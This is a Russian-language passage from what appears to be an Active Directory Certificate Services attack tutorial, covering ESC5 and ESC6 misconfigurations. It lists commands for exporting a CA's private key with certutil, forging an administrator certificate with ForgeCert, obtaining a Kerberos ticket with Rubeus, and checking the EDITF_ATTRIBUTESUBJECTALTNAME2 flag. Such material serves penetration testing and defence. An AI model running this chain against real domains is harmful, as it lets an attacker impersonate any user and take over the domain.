Дальше будут рассматриваться небезопасные настройки самого центра сертификации
ESC5Данный недостаток относится к категории «золотых», в данном случае это Golden Certificate
. Если есть доступ к центру сертификации с привилегиями локального администратора, то можно сделать резервную копию приватного ключа центра сертификации и затем использовать его для создания сертификатов для любого пользователя.
Сделать резервную копию приватного ключа центра сертификации можно с помощью оснастки certsrv.msc
. Запустить certsrv.msc
, выбрать центр сертификации, правой кнопкой мыши вызвать контекстное меню. Затем выбрать All tasks
и Back up CA…
. В появившемся окне выбрать Private key and CA certificate
и указать путь экспорта.
Эту же задачу можно выполнить с помощью certutil
:
certutil.exe -p <CApassword> -backupKey <path for bacup>
В результате создаться файл в формате p12
.
Теперь можно создавать сертификаты. Можно воспользоваться сторонней утилитой ForgeCert.
ForgeCert.exe --CaCertPath cert.p12 --CaCertPassword <CAPassword> --Subject CN=user --SubjectAltName admin@domain.local --NewCertPath admin.pfx --NewCertPassword <password>
В результате выполнения будет получен файл сертификата, который можно использовать для получения TGT билета Kerberos.
Rubeus.exe asktgt /user:admin /certificate:admin.pfx /password:<password> /domain:domain.local
ESC6Установленный флаг EDITF_ATTRIBUTESUBJECTALTNAME2
на центре сертификации позволяет для любого шаблона сертификата устанавливать альтернативное имя, даже если в параметре TemplatePropSubjectNameFlags
шаблона сертификата отсутствует флаг CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
.
Проверить флаг можно с помощью certutil.exe
:
certutil -config "dc.domain.local\ CA" -getreg "policy\EditFlags" | Select-String EDITF_ATTRIBUTESUBJECTALTNAME2
Если вывод дал результат, можно запросить сертификат для любого пользователя или компьютера.